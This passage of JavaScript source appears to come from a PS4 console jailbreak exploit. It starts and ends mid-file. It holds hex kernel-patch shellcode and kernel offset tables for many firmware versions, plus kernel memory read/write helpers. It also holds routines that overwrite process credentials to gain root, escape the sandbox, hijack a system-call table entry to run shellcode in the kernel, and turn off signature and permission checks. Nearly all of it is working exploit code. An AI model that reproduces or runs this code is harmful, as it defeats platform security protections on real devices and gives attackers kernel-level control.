'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e00b8eb04000041b9eb00000041baeb0000006689810cc9350041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300eb66898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3', - '11.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981acbe2f0041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900eb66898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', - '12.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', - '12.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981347b6200c681cd0a0000ebc6810dd42b00ebc68151d42b00ebc681cdd42b00ebc68111d52b00ebc681bdd62b00ebc6816ddb2b00ebc6813ddc2b00eb664489891f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126153900ebc7812ec12f0000000000668981a4711b00c78158771b0090e93c01c781a0d83b004831c0c3c6815aa71f0037c6815da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', - '13.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981847b6200c681cd0a0000ebc6812dd42b00ebc68171d42b00ebc681edd42b00ebc68131d52b00ebc681ddd62b00ebc6818ddb2b00ebc6815ddc2b00eb664489896f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68146153900ebc7814ec12f0000000000668981a4711b00c78158771b0090e93c01c781c0d83b004831c0c3c6817aa71f0037c6817da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3', -} - -// Mmap RWX patch offsets per firmware (for verification) -// These are the offsets where 0x33 is patched to 0x37 -const kpatch_mmap_offsets = { - // TODO: missing 5.00 to 8.50 - 5.55: [0x3c2899, 0x3c289c], // TODO: verify - 5.56: [0x24026d, 0x240270], // TODO: verify - '6.00': [0x24026d, 0x240270], // TODO: verify - '6.20': [0x24026d, 0x240270], // TODO: verify - '6.50': [0xab57a, 0xab57d], // TODO: verify - '6.70': [0xab57a, 0xab57d], // TODO: verify - '7.00': [0x1d2336, 0x1d2339], // TODO: verify - '7.50': [0xdb17d, 0xdb180], // TODO: verify - '8.00': [0xfd03a, 0xfd03d], // TODO: verify - '8.50': [0x826ea, 0x826ed], // TODO: verify - '9.00': [0x16632a, 0x16632d], // TODO: verify - 9.03: [0x1662da, 0x1662dd], // TODO: verify - '9.50': [0x122d7a, 0x122d7d], // TODO: verify - '10.00': [0xed59a, 0xed59d], // TODO: verify - '10.50': [0x19c42a, 0x19c42d], // TODO: verify - '11.00': [0x15626a, 0x15626d], - 11.02: [0x15628a, 0x15628d], - '11.50': [0x1fa63a, 0x1fa63d], - '12.00': [0x1fa71a, 0x1fa71d], - // TODO: add mmap offsets for 12.50, 12.52, 13.00 -} - -const shellcode_fw_map = { - '5.00': '5.00', - 5.01: '5.00', - 5.03: '5.03', - 5.05: '5.03', - 5.07: '5.03', - '5.50': '5.50', - 5.53: '5.53', - 5.55: '5.55', - 5.56: '5.56', - '6.00': '6.00', - 6.02: '6.00', - '6.20': '6.20', - '6.50': '6.50', - 6.51: '6.50', - '6.70': '6.70', - 6.71: '6.70', - 6.72: '6.70', - '7.00': '7.00', - 7.01: '7.00', - 7.02: '7.00', - '7.50': '7.50', - 7.51: '7.50', - 7.55: '7.50', - '8.00': '8.00', - 8.01: '8.00', - 8.03: '8.00', - '8.50': '8.50', - 8.52: '8.50', - '9.00': '9.00', - 9.03: '9.03', - 9.04: '9.03', - '9.50': '9.50', - 9.51: '9.50', - '9.60': '9.50', - '10.00': '10.00', - 10.01: '10.00', - '10.50': '10.50', - '10.70': '10.50', - 10.71: '10.50', - '11.00': '11.00', - 11.02: '11.02', - '11.50': '11.50', - 11.52: '11.50', - '12.00': '12.00', - 12.02: '12.00', - '12.50': '12.50', - 12.52: '12.50', - '13.00': '13.00', -} - -function get_mmap_patch_offsets (fw_version) { - // Normalize version - var lookup = fw_version - if (fw_version === '9.04') lookup = '9.03' - else if (fw_version === '9.51' || fw_version === '9.60') lookup = '9.50' - else if (fw_version === '10.01') lookup = '10.00' - else if (fw_version === '10.70' || fw_version === '10.71') lookup = '10.50' - else if (fw_version === '11.52') lookup = '11.50' - else if (fw_version === '12.02') lookup = '12.00' - - return kpatch_mmap_offsets[lookup] || null -} - -// Helper to convert hex string to byte array -function hexToBytes (hex) { - const bytes = [] - for (var i = 0; i < hex.length; i += 2) { - bytes.push(parseInt(hex.substr(i, 2), 16)) - } - return bytes -} - -// Get kernel patch shellcode for firmware version -function get_kpatch_shellcode (fw_version) { - const hex = kpatch_shellcode[shellcode_fw_map[fw_version]] - if (!hex) { - return null - } - return hexToBytes(hex) -} - -// Firmware-specific offsets for PS4 - -offset_ps4_5_00 = { // AND 5.01 - EVF_OFFSET: 0X7B3ED4, - PRISON0: 0X10986A0, - ROOTVNODE: 0X22C19F0, - SYSENT_661: 0X1084200, - JMP_RSI_GADGET: 0X13460 -} - -offset_ps4_5_03 = { - EVF_OFFSET: 0X7B42E4, - PRISON0: 0X10986A0, - ROOTVNODE: 0X22C1A70, - SYSENT_661: 0X1084200, - JMP_RSI_GADGET: 0X13460 -} - -offset_ps4_5_05 = { // AND 5.07 - EVF_OFFSET: 0X7B42A4, - PRISON0: 0X10986A0, - ROOTVNODE: 0X22C1A70, - SYSENT_661: 0X1084200, - JMP_RSI_GADGET: 0X13460 -} - -offset_ps4_5_50 = { - EVF_OFFSET: 0X80EF12, - PRISON0: 0X1134180, - ROOTVNODE: 0X22EF570, - SYSENT_661: 0X111D8B0, - JMP_RSI_GADGET: 0XAF8C -} - -offset_ps4_5_53 = { - EVF_OFFSET: 0X80EDE2, - PRISON0: 0X1134180, - ROOTVNODE: 0X22EF570, - SYSENT_661: 0X111D8B0, - JMP_RSI_GADGET: 0XAF8C -} - -offset_ps4_5_55 = { - EVF_OFFSET: 0X80F482, - PRISON0: 0X1139180, - ROOTVNODE: 0X22F3570, - SYSENT_661: 0X11228B0, - JMP_RSI_GADGET: 0XAF8C -} - -offset_ps4_5_56 = { - EVF_OFFSET: 0X7C8971, - PRISON0: 0X1139180, - ROOTVNODE: 0X22F3570, - SYSENT_661: 0X1123130, - JMP_RSI_GADGET: 0X3F0C9 -} - -offset_ps4_6_00 = { // AND 6.02 - EVF_OFFSET: 0X7C8971, - PRISON0: 0X1139458, - ROOTVNODE: 0X21BFAC0, - SYSENT_661: 0X1123130, - JMP_RSI_GADGET: 0X3F0C9 -} - -offset_ps4_6_20 = { - EVF_OFFSET: 0X7C8E31, - PRISON0: 0X113D458, - ROOTVNODE: 0X21C3AC0, - SYSENT_661: 0X1127130, - JMP_RSI_GADGET: 0X2BE6E -} - -offset_ps4_6_50 = { - EVF_OFFSET: 0X7C6019, - PRISON0: 0X113D4F8, - ROOTVNODE: 0X2300320, - SYSENT_661: 0X1124BF0, - JMP_RSI_GADGET: 0X15A50D -} - -offset_ps4_6_51 = { - EVF_OFFSET: 0X7C6099, - PRISON0: 0X113D4F8, - ROOTVNODE: 0X2300320, - SYSENT_661: 0X1124BF0, - JMP_RSI_GADGET: 0X15A50D -} - -offset_ps4_6_70 = { // AND 6.71, 6.72 - EVF_OFFSET: 0X7C7829, - PRISON0: 0X113E518, - ROOTVNODE: 0X2300320, - SYSENT_661: 0X1125BF0, - JMP_RSI_GADGET: 0X9D11D -} - -offset_ps4_7_00 = { // AND 7.01, 7.02 - EVF_OFFSET: 0X7F92CB, - PRISON0: 0X113E398, - ROOTVNODE: 0X22C5750, - SYSENT_661: 0X112D250, - JMP_RSI_GADGET: 0X6B192 -} - -offset_ps4_7_50 = { - EVF_OFFSET: 0X79A92E, - PRISON0: 0X113B728, - ROOTVNODE: 0X1B463E0, - SYSENT_661: 0X1129F30, - JMP_RSI_GADGET: 0X1F842 -} - -offset_ps4_7_51 = { // AND 7.55 - EVF_OFFSET: 0X79A96E, - PRISON0: 0X113B728, - ROOTVNODE: 0X1B463E0, - SYSENT_661: 0X1129F30, - JMP_RSI_GADGET: 0X1F842 -} - -offset_ps4_8_00 = { // AND 8.01, 8.02, 8.03 - EVF_OFFSET: 0X7EDCFF, - PRISON0: 0X111A7D0, - ROOTVNODE: 0X1B8C730, - SYSENT_661: 0X11040C0, - JMP_RSI_GADGET: 0XE629C -} - -offset_ps4_8_50 = { // AND 8.52 - EVF_OFFSET: 0X7DA91C, - PRISON0: 0X111A8F0, - ROOTVNODE: 0X1C66150, - SYSENT_661: 0X11041B0, - JMP_RSI_GADGET: 0XC810D -} - -offset_ps4_9_00 = { - EVF_OFFSET: 0x7F6F27, - PRISON0: 0x111F870, - ROOTVNODE: 0x21EFF20, - TARGET_ID_OFFSET: 0x221688D, - SYSENT_661: 0x1107F00, - JMP_RSI_GADGET: 0x4C7AD, - KL_LOCK: 0x3977F0, - -} - -offset_ps4_9_03 = { - EVF_OFFSET: 0x7F4CE7, - PRISON0: 0x111B840, - ROOTVNODE: 0x21EBF20, - TARGET_ID_OFFSET: 0x221288D, - SYSENT_661: 0x1103F00, - JMP_RSI_GADGET: 0x5325B, - KL_LOCK: 0x3959F0, -} - -offset_ps4_9_50 = { - EVF_OFFSET: 0x769A88, - PRISON0: 0x11137D0, - ROOTVNODE: 0x21A6C30, - TARGET_ID_OFFSET: 0x221A40D, - SYSENT_661: 0x1100EE0, - JMP_RSI_GADGET: 0x15A6D, - KL_LOCK: 0x85EE0, -} - -offset_ps4_10_00 = { - EVF_OFFSET: 0x7B5133, - PRISON0: 0x111B8B0, - ROOTVNODE: 0x1B25BD0, - TARGET_ID_OFFSET: 0x1B9E08D, - SYSENT_661: 0x110A980, - JMP_RSI_GADGET: 0x68B1, - KL_LOCK: 0x45B10, -} - -offset_ps4_10_50 = { - EVF_OFFSET: 0x7A7B14, - PRISON0: 0x111B910, - ROOTVNODE: 0x1BF81F0, - TARGET_ID_OFFSET: 0x1BE460D, - SYSENT_661: 0x110A5B0, - JMP_RSI_GADGET: 0x50DED, - KL_LOCK: 0x25E330, -} - -offset_ps4_11_00 = { - EVF_OFFSET: 0x7FC26F, - PRISON0: 0x111F830, - ROOTVNODE: 0x2116640, - TARGET_ID_OFFSET: 0x221C60D, - SYSENT_661: 0x1109350, - JMP_RSI_GADGET: 0x71A21, - KL_LOCK: 0x58F10, -} - -offset_ps4_11_02 = { - EVF_OFFSET: 0x7FC22F, - PRISON0: 0x111F830, - ROOTVNODE: 0x2116640, - TARGET_ID_OFFSET: 0x221C60D, - SYSENT_661: 0x1109350, - JMP_RSI_GADGET: 0x71A21, - KL_LOCK: 0x58F10, -} - -offset_ps4_11_50 = { - EVF_OFFSET: 0x784318, - PRISON0: 0x111FA18, - ROOTVNODE: 0x2136E90, - TARGET_ID_OFFSET: 0x21CC60D, - SYSENT_661: 0x110A760, - JMP_RSI_GADGET: 0x704D5, - KL_LOCK: 0xE6C20, -} - -offset_ps4_12_00 = { // AND 12.02 - EVF_OFFSET: 0x784798, - PRISON0: 0x111FA18, - ROOTVNODE: 0x2136E90, - TARGET_ID_OFFSET: 0x21CC60D, - SYSENT_661: 0x110A760, - JMP_RSI_GADGET: 0x47B31, - KL_LOCK: 0xE6C20, -} - -offset_ps4_12_50 = { // AND 12.52, 13.00 - EVF_OFFSET: 0x0, // Missing but not needed in netctrl - PRISON0: 0x111FA18, - ROOTVNODE: 0x2136E90, - TARGET_ID_OFFSET: 0x0, // Missing but not needed in netctrl - SYSENT_661: 0x110A760, - JMP_RSI_GADGET: 0x47B31, - KL_LOCK: 0xE6C20, -} - -// Map firmware versions to offset objects -ps4_kernel_offset_list = { - '5.00': offset_ps4_5_00, - 5.01: offset_ps4_5_00, - 5.03: offset_ps4_5_03, - 5.05: offset_ps4_5_05, - 5.07: offset_ps4_5_05, - '5.50': offset_ps4_5_50, - 5.53: offset_ps4_5_53, - 5.55: offset_ps4_5_55, - 5.56: offset_ps4_5_56, - '6.00': offset_ps4_6_00, - 6.02: offset_ps4_6_00, - '6.20': offset_ps4_6_20, - '6.50': offset_ps4_6_50, - 6.51: offset_ps4_6_51, - '6.70': offset_ps4_6_70, - 6.71: offset_ps4_6_70, - 6.72: offset_ps4_6_70, - '7.00': offset_ps4_7_00, - 7.01: offset_ps4_7_00, - 7.02: offset_ps4_7_00, - '7.50': offset_ps4_7_50, - 7.51: offset_ps4_7_51, - 7.55: offset_ps4_7_51, - '8.00': offset_ps4_8_00, - 8.01: offset_ps4_8_00, - 8.02: offset_ps4_8_00, - 8.03: offset_ps4_8_00, - '8.50': offset_ps4_8_50, - 8.52: offset_ps4_8_50, - '9.00': offset_ps4_9_00, - 9.03: offset_ps4_9_03, - 9.04: offset_ps4_9_03, - '9.50': offset_ps4_9_50, - 9.51: offset_ps4_9_50, - '9.60': offset_ps4_9_50, - '10.00': offset_ps4_10_00, - 10.01: offset_ps4_10_00, - '10.50': offset_ps4_10_50, - '10.70': offset_ps4_10_50, - 10.71: offset_ps4_10_50, - '11.00': offset_ps4_11_00, - 11.02: offset_ps4_11_02, - '11.50': offset_ps4_11_50, - 11.52: offset_ps4_11_50, - '12.00': offset_ps4_12_00, - 12.02: offset_ps4_12_00, - '12.50': offset_ps4_12_50, - 12.51: offset_ps4_12_50, - '13.00': offset_ps4_12_50, -} - -kernel_offset = null // Global - -function get_kernel_offset (FW_VERSION) { - const fw_offsets = ps4_kernel_offset_list[FW_VERSION] - - if (!fw_offsets) { - throw new Error('Unsupported PS4 firmware version: ' + FW_VERSION) - } - - kernel_offset = fw_offsets - - // PS4-specific proc structure offsets - kernel_offset.PROC_FD = 0x48 - kernel_offset.PROC_PID = 0xB0 // PS4 = 0xB0, PS5 = 0xBC - kernel_offset.PROC_VM_SPACE = 0x200 - kernel_offset.PROC_UCRED = 0x40 - kernel_offset.PROC_COMM = -1 // Found dynamically - kernel_offset.PROC_SYSENT = -1 // Found dynamically - - // filedesc - PS4 different from PS5 - kernel_offset.FILEDESC_OFILES = 0x0 // PS4 = 0x0, PS5 = 0x8 - kernel_offset.SIZEOF_OFILES = 0x8 // PS4 = 0x8, PS5 = 0x30 - - // vmspace structure - kernel_offset.VMSPACE_VM_PMAP = -1 - - // pmap structure - kernel_offset.PMAP_CR3 = 0x28 - - // socket/net - PS4 specific - kernel_offset.SO_PCB = 0x18 - kernel_offset.INPCB_PKTOPTS = 0x118 // PS4 = 0x118, PS5 = 0x120 - - // pktopts structure - PS4 specific - kernel_offset.IP6PO_TCLASS = 0xB0 // PS4 = 0xB0, PS5 = 0xC0 - kernel_offset.IP6PO_RTHDR = 0x68 // PS4 = 0x68, PS5 = 0x70 - - return kernel_offset -} - -// Global kernel object to save information -// Also used in lapse.js - -kernel = { - // Object used to sture kbase, curproc, allproc - addr: {}, - // We need to define these 2 functions in the exploit - read_buffer: null, - write_buffer: null -} - -// Helper functions -function is_kernel_rw_available () { - return kernel.read_buffer && kernel.write_buffer -} - -function check_kernel_rw () { - if (!is_kernel_rw_available()) { - throw new Error('kernel r/w is not available') - } -} - -kernel.read_byte = function (kaddr) { - const value = kernel.read_buffer(kaddr, 1) - return value && value.length === 1 ? (value[0]) : null -} - -kernel.read_word = function (kaddr) { - const value = kernel.read_buffer(kaddr, 2) - if (!value || value.length !== 2) return null - return (value[0]) | ((value[1]) << 8) -} - -kernel.read_dword = function (kaddr) { - const value = kernel.read_buffer(kaddr, 4) - if (!value || value.length !== 4) return null - var result = 0 - for (var i = 0; i < 4; i++) { - result |= ((value[i]) << (i * 8)) - } - return result -} - -kernel.read_qword = function (kaddr) { - const value = kernel.read_buffer(kaddr, 8) - if (!value || value.length !== 8) return null - var result_hi = 0 - var result_low = 0 - for (var i = 0; i < 4; i++) { - result_hi |= ((value[i + 4]) << (i * 8)) - result_low |= ((value[i]) << (i * 8)) - } - var result = new BigInt(result_hi, result_low) - return result -} - -kernel.read_null_terminated_string = function (kaddr) { - var result = '' - - while (true) { - const chunk = kernel.read_buffer(kaddr, 0x8) - if (!chunk || chunk.length === 0) break - - var null_pos = -1 - for (var i = 0; i < chunk.length; i++) { - if (chunk[i] === 0) { - null_pos = i - break - } - } - - if (null_pos >= 0) { - if (null_pos > 0) { - for (var i = 0; i < null_pos; i++) { - result += String.fromCharCode(Number(chunk[i])) - } - } - return result - } - - for (var i = 0; i < chunk.length; i++) { - result += String.fromCharCode(Number(chunk[i])) - } - - kaddr = kaddr.add(chunk.length) - } - - return result -} - -kernel.write_byte = function (dest, value) { - const buf = new Uint8Array(1) - buf[0] = Number(value & 0xFF) - kernel.write_buffer(dest, buf) -} - -kernel.write_word = function (dest, value) { - const buf = new Uint8Array(2) - buf[0] = Number(value & 0xFF) - buf[1] = Number((value >> 8) & 0xFF) - kernel.write_buffer(dest, buf) -} - -kernel.write_dword = function (dest, value) { - const buf = new Uint8Array(4) - for (var i = 0; i < 4; i++) { - buf[i] = Number((value >> (i * 8)) & 0xFF) - } - kernel.write_buffer(dest, buf) -} - -kernel.write_qword = function (dest, value) { - const buf = new Uint8Array(8) - value = value instanceof BigInt ? value : new BigInt(value) - - var val_hi = value.hi - var val_low = value.lo - - for (var i = 0; i < 4; i++) { - buf[i] = Number((val_low >> (i * 8))) & 0xFF - buf[i + 4] = Number((val_hi >> ((i + 4) * 8))) & 0xFF - } - kernel.write_buffer(dest, buf) -} - -function sysctlbyname (name, oldp, oldp_len, newp, newp_len) { - const translate_name_mib = malloc(0x8) - const buf_size = 0x70 - const mib = malloc(buf_size) - const size = malloc(0x8) - - write64(translate_name_mib, new BigInt(0x3, 0x0)) - write64(size, buf_size) - - const name_addr = utils.cstr(name) - const name_len = new BigInt(name.length) - - if (sysctl(translate_name_mib, 2, mib, size, name_addr, name_len).eq(new BigInt(0xffffffff, 0xffffffff))) { - log('failed to translate sysctl name to mib (' + name + ')') - } - - if (sysctl(mib, 2, oldp, oldp_len, newp, newp_len).eq(new BigInt(0xffffffff, 0xffffffff))) { - return false - } - - return true -} - -function get_fwversion () { - const buf = malloc(0x8) - const size = malloc(0x8) - write64(size, 0x8) - if (sysctlbyname('kern.sdk_version', buf, size, 0, 0)) { - const byte1 = Number(read8(buf.add(2))) // Minor version (first byte) - const byte2 = Number(read8(buf.add(3))) // Major version (second byte) - - const version = byte2.toString(16) + '.' + byte1.toString(16).padStart(2, '0') - return version - } - - return null -} - -// Before calling this function we need to initialize -// kernel.addr.curproc -// kernel.addr.allproc -// kernel.addr.base - -function jailbreak_shared (FW_VERSION) { - const OFFSET_P_UCRED = 0x40 - const proc = kernel.addr.curproc - - const uid_before = Number(getuid()) - const sandbox_before = Number(is_in_sandbox()) - debug('BEFORE: uid=' + uid_before + ', sandbox=' + sandbox_before) - - // Patch ucred - const proc_fd = kernel.read_qword(proc.add(kernel_offset.PROC_FD)) - const ucred = kernel.read_qword(proc.add(OFFSET_P_UCRED)) - - kernel.write_dword(ucred.add(0x04), 0) // cr_uid - kernel.write_dword(ucred.add(0x08), 0) // cr_ruid - kernel.write_dword(ucred.add(0x0C), 0) // cr_svuid - kernel.write_dword(ucred.add(0x10), 1) // cr_ngroups - kernel.write_dword(ucred.add(0x14), 0) // cr_rgid - - const prison0 = kernel.read_qword(kernel.addr.base.add(kernel_offset.PRISON0)) - kernel.write_qword(ucred.add(0x30), prison0) - - kernel.write_qword(ucred.add(0x60), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) // sceCaps - kernel.write_qword(ucred.add(0x68), new BigInt(0xFFFFFFFF, 0xFFFFFFFF)) - - const rootvnode = kernel.read_qword(kernel.addr.base.add(kernel_offset.ROOTVNODE)) - kernel.write_qword(proc_fd.add(0x10), rootvnode) // fd_rdir - kernel.write_qword(proc_fd.add(0x18), rootvnode) // fd_jdir - - const uid_after = Number(getuid()) - const sandbox_after = Number(is_in_sandbox()) - debug('AFTER: uid=' + uid_after + ', sandbox=' + sandbox_after) - - if (uid_after === 0 && sandbox_after === 0) { - debug('Sandbox escape complete!') - } else { - debug('[WARNING] Sandbox escape may have failed') - } - - // === Apply kernel patches via kexec === - // Uses syscall_raw() which sets rax manually for syscalls without gadgets - debug('Applying kernel patches...') - const kpatch_result = apply_kernel_patches(FW_VERSION) - if (kpatch_result) { - debug('Kernel patches applied successfully!') - - // Comprehensive kernel patch verification - debug('Verifying kernel patches...') - var all_patches_ok = true - - // 1. Verify mmap RWX patch (0x33 -> 0x37 at two locations) - const mmap_offsets = get_mmap_patch_offsets(FW_VERSION) - if (mmap_offsets) { - const b1 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[0])) - const b2 = kernel.read_byte(kernel.addr.base.add(mmap_offsets[1])) - const byte1 = b1 instanceof BigInt ? Number(b1.and(0xff)) : b1 - const byte2 = b2 instanceof BigInt ? Number(b2.and(0xff)) : b2 - if (byte1 === 0x37 && byte2 === 0x37) { - debug(' [OK] mmap RWX patch') - } else { - debug(' [FAIL] mmap RWX: [' + hex(mmap_offsets[0]) + ']=' + hex(byte1) + ' [' + hex(mmap_offsets[1]) + ']=' + hex(byte2)) - all_patches_ok = false - } - } else { - debug(' [SKIP] mmap RWX (no offsets for FW ' + FW_VERSION + ')') - } - - // 2. Test mmap RWX actually works by trying to allocate RWX memory - try { - const PROT_RWX = 0x7 // READ | WRITE | EXEC - const MAP_ANON = 0x1000 - const MAP_PRIVATE = 0x2 - const test_addr = mmap(0, 0x1000, PROT_RWX, MAP_PRIVATE | MAP_ANON, new BigInt(0xFFFFFFFF, 0xFFFFFFFF), 0) - if (Number(test_addr.shr(32)) < 0xffff8000) { - debug(' [OK] mmap RWX functional @ ' + hex(test_addr)) - // Unmap the test allocation - munmap(test_addr, 0x1000) - } else { - debug(' [FAIL] mmap RWX functional: ' + hex(test_addr)) - all_patches_ok = false - } - } catch (e) { - debug(' [FAIL] mmap RWX test error: ' + e.message) - all_patches_ok = false - } - - if (all_patches_ok) { - debug('All kernel patches verified OK!') - } else { - debug('[WARNING] Some kernel patches may have failed') - } - } else { - debug('[WARNING] Kernel patches failed - continuing without patches') - } -} - -// Apply kernel patches via kexec using a single ROP chain -// This avoids returning to JS between critical operations -function apply_kernel_patches (fw_version) { - try { - // Get shellcode for this firmware - const shellcode = get_kpatch_shellcode(fw_version) - if (!shellcode) { - debug('No kernel patch shellcode for FW ' + fw_version) - return false - } - - debug('Kernel patch shellcode: ' + shellcode.length + ' bytes') - - // Constants - const PROT_READ = 0x1 - const PROT_WRITE = 0x2 - const PROT_EXEC = 0x4 - const PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC - - const mapping_addr = new BigInt(0x9, 0x26100000) // Different from 0x920100000 to avoid conflicts - const aligned_memsz = 0x10000 - - // Get sysent[661] address and save original values - const sysent_661_addr = kernel.addr.base.add(kernel_offset.SYSENT_661) - debug('sysent[661] @ ' + hex(sysent_661_addr)) - - const sy_narg = kernel.read_dword(sysent_661_addr) - const sy_call = kernel.read_qword(sysent_661_addr.add(8)) - const sy_thrcnt = kernel.read_dword(sysent_661_addr.add(0x2C)) - - debug('Original sy_narg: ' + hex(sy_narg)) - debug('Original sy_call: ' + hex(sy_call)) - debug('Original sy_thrcnt: ' + hex(sy_thrcnt)) - - // Calculate jmp rsi gadget address - const jmp_rsi_gadget = kernel.addr.base.add(kernel_offset.JMP_RSI_GADGET) - debug('jmp rsi gadget @ ' + hex(jmp_rsi_gadget)) - - // Allocate buffer for shellcode in userspace first - const shellcode_buf = malloc(shellcode.length + 0x100) - debug('Shellcode buffer @ ' + hex(shellcode_buf)) - - // Copy shellcode to userspace buffer - for (var i = 0; i < shellcode.length; i++) { - write8(shellcode_buf.add(i), shellcode[i]) - } - - // Verify first bytes - const first_bytes = read32(shellcode_buf) - debug('First bytes @ shellcode: ' + hex(first_bytes)) - - // Hijack sysent[661] to point to jmp rsi gadget - debug('Hijacking sysent[661]...') - kernel.write_dword(sysent_661_addr, 2) // sy_narg = 2 - kernel.write_qword(sysent_661_addr.add(8), jmp_rsi_gadget) // sy_call = jmp rsi - kernel.write_dword(sysent_661_addr.add(0x2C), 1) // sy_thrcnt = 1 - debug('Hijacked sysent[661]') - - // Check if jitshm_create has a dedicated gadget - const jitshm_num = 0x215 // SYSCALL.jitshm_create = 0x215n; // 533 - const jitshm_gadget = syscalls.map.get(jitshm_num) - debug('jitshm_create gadget: ' + (jitshm_gadget ? hex(jitshm_gadget) : 'NOT FOUND')) - - // Try using the standard syscall() function if gadget exists - if (!jitshm_gadget) { - debug('ERROR: jitshm_create gadget not found in libkernel') - debug('Kernel patches require jitshm_create syscall support') - return false - } - - // 1. jitshm_create(0, aligned_memsz, PROT_RWX) - debug('Calling jitshm_create...') - - const exec_handle = jitshm_create(0, aligned_memsz, PROT_RWX) - debug('jitshm_create handle: ' + hex(exec_handle)) - - if (Number(exec_handle.shr(32)) >= 0xffff8000) { - debug('ERROR: jitshm_create failed') - kernel.write_dword(sysent_661_addr, sy_narg) - kernel.write_qword(sysent_661_addr.add(8), sy_call) - kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) - return false - } - - // 2. mmap(mapping_addr, aligned_memsz, PROT_RWX, MAP_SHARED|MAP_FIXED, exec_handle, 0) - debug('Calling mmap...') - - const mmap_result = mmap(mapping_addr, aligned_memsz, PROT_RWX, 0x11, exec_handle, 0) - debug('mmap result: ' + hex(mmap_result)) - - if (Number(mmap_result.shr(32)) >= 0xffff8000) { - debug('ERROR: mmap failed') - kernel.write_dword(sysent_661_addr, sy_narg) - kernel.write_qword(sysent_661_addr.add(8), sy_call) - kernel.write_dword(sysent_661_addr.add(0x2C), sy_thrcnt) - return false - } - - // 3. Copy shellcode to mapped memory - debug('Copying shellcode to ' + hex(mapping_addr) + '...') - for (var j = 0; j < shellcode.length; j++) { - write8(mapping_addr.add(j), shellcode[j]) - } - - // Verify - const verify_bytes = read32(mapping_addr) - debug('First bytes @ mapped: ' + hex(verify_bytes)) - - // 4. kexec(mapping_addr) - syscall 661, hijacked to jmp rsi - debug('Calling kexec...') - - const kexec_result = kexec(mapping_addr) - debug('kexec returned: ' + hex(kexec_result)) - - // === Verify 12.00 kernel patches === - if (fw_version === '12.00' || fw_version === '12.02') { - debug('Verifying 12.00 kernel patches...') - var patch_errors = 0 - - // Patch offsets and expected values for 12.00 - const patches_to_verify = [ - { off: 0x1b76a3, exp: 0x04eb, name: 'dlsym_check1', size: 2 }, - { off: 0x1b76b3, exp: 0x04eb, name: 'dlsym_check2', size: 2 }, - { off: 0x1b76d3, exp: 0xe990, name: 'dlsym_check3', size: 2 }, - { off: 0x627af4, exp: 0x00eb, name: 'veriPatch', size: 2 }, - { off: 0xacd, exp: 0xeb, name: 'bcopy', size: 1 }, - { off: 0x2bd3cd, exp: 0xeb, name: 'bzero', size: 1 }, - { off: 0x2bd411, exp: 0xeb, name: 'pagezero', size: 1 }, - { off: 0x2bd48d, exp: 0xeb, name: 'memcpy', size: 1 }, - { off: 0x2bd4d1, exp: 0xeb, name: 'pagecopy', size: 1 }, - { off: 0x2bd67d, exp: 0xeb, name: 'copyin', size: 1 }, - { off: 0x2bdb2d, exp: 0xeb, name: 'copyinstr', size: 1 }, - { off: 0x2bdbfd, exp: 0xeb, name: 'copystr', size: 1 }, - { off: 0x6283df, exp: 0x00eb, name: 'sysVeri_suspend', size: 2 }, - { off: 0x490, exp: 0x00, name: 'syscall_check', size: 4 }, - { off: 0x4c2, exp: 0xeb, name: 'syscall_jmp1', size: 1 }, - { off: 0x4b9, exp: 0x00eb, name: 'syscall_jmp2', size: 2 }, - { off: 0x4b5, exp: 0x00eb, name: 'syscall_jmp3', size: 2 }, - { off: 0x3914e6, exp: 0xeb, name: 'setuid', size: 1 }, - { off: 0x2fc0ec, exp: 0x04eb, name: 'vm_map_protect', size: 2 }, - { off: 0x1b7164, exp: 0xe990, name: 'dynlib_load_prx', size: 